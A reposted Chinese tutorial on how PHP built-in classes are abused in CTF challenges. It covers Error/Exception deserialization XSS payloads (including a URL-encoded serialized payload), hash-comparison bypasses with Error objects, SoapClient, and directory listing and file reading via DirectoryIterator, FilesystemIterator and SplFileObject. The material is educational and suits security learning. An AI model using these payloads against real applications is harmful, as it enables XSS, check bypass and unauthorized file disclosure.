首頁  >  文章  >  後端開發  >  PHP原生類別的總結分享

PHP原生類別的總結分享

WBOY
WBOY轉載
2023-01-23 07:30:013678瀏覽

這篇文章為大家帶來了關於PHP的相關知識,其中主要介紹了關於原生類的相關內容,下面一起來看一下,希望對大家有幫助。

PHP原生類別的總結分享

這次HEctf就是一個原生類別的題,只有短短三行程式碼。果然越短小的程式碼在ctf裡越難。

先貼上遍歷php內建類別的腳本

 <?php $classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }
    
}

結果:

PHP原生類別的總結分享

整理一下:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo

大概就是這些類別了,但是在ctf比賽中常會用到的就是以下幾類

  • Error
  • Exception
  • SoapClient
  • #DirectoryIterator
  • SimpleXMLElement

Error/Exception 內建類別進行XSS

error xss

__toString方法會傳回錯誤或異常的字串形式,其中包含我們輸入的參數,如果我們建構一串xss程式碼,結合echo渲染,將觸發反射形xss漏洞

demo:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

poc

<?php $a = new Error("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);

輸出了一串字串

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

成功彈出視窗

PHP原生類別的總結分享

#exception xss

Exception是所有用戶級異常的基底類別。 (PHP 5, 7, 8)

<?php $a = new Exception("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
?>

和error的pop的構造好像是一樣的(exception適用於php5和7,error只適用於php7),把error換成exception就行了。依然成功彈窗

PHP原生類別的總結分享

Error/Exception 內建類別繞過雜湊比較

透過建構這兩個類別可以啊繞過md5()和sha1 ()函數。 error和exception都有一個重要方法:_tostring,用於將異常物件轉換為字串。

同樣,當md5()和sha1()函數處理物件時,會自動呼叫__tostring方法

<?php $a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

輸出結果

PHP原生類別的總結分享可以看出,payload後面的參數並不影響輸出的結果。正是透過這個可以繞過哈希函數。

<?php $a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

PHP原生類別的總結分享

soapclient

soap的定義

簡單物件存取協定意義

這裡之所以說是簡單,是因為它是基於已經廣泛使用的兩個協定:HTTP和XML,所以業界把這種技術稱為“它是第一個沒有發明任何新技術的技術",之所以說是對象,是因為把訪問的Web服務稱為對象,既然服務是對象,那麼服務肯定有相關的屬性和呼叫行為,這些屬性和行為是透過WSDL來描述的。如果按「簡單的物件存取協定」來理解,相比「簡單物件存取協定」要容易些

PHP 的內建類別SoapClient 是一個專門用來存取web服務的類,可以提供一個基於SOAP協定存取Web服務的PHP 用戶端。

該類別的建構子如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一個參數是用來指明是否為wsdl模式,將該值設為null則表示非wsdl模式。
  • 第二個參數為數組,如果在wsdl模式下,此參數可選;如果在非wsdl模式下,則必須設定location和uri選項,其中location是要將請求傳送到的SOAP伺服器的URL,而uri 是SOAP服務的目標命名空間。

php原生檔案操作類別

目錄遍歷

#DirectoryIterator

# __toString 取得字串形式的檔案名稱(PHP 5,7,8)

#例如:

<?php $a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.&#39;</br>');
}
echo $a;

PHP原生類別的總結分享輸出指定目錄裡面經過排序後的第一個檔案名稱

使用此內建類別的__toString方法結合glob或file協議,即可實現目錄遍歷

<?php $a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHP原生類別的總結分享

利用foreach能遍歷所有的檔案

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHP原生類別的總結分享

多一個斜杠,目錄往前一個。

FilesystemIterator 類別

FilesystemIterator 類別與 DirectoryIterator 類別相同,提供了一個用於檢視檔案系統目錄內容的簡單介面。該類別的建構方法將會建立一個指定目錄的迭代器。

該類別的使用方法與DirectoryIterator 類別也是基本上相同的:

<?php $a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHP原生類別的總結分享

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
echo $a;

PHP原生類別的總結分享输出多行

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
foreach($a as $f){
    echo($f);
}

PHP原生類別的總結分享

推荐学习:《PHP视频教程

以上是PHP原生類別的總結分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:juejin.im。如有侵權,請聯絡admin@php.cn刪除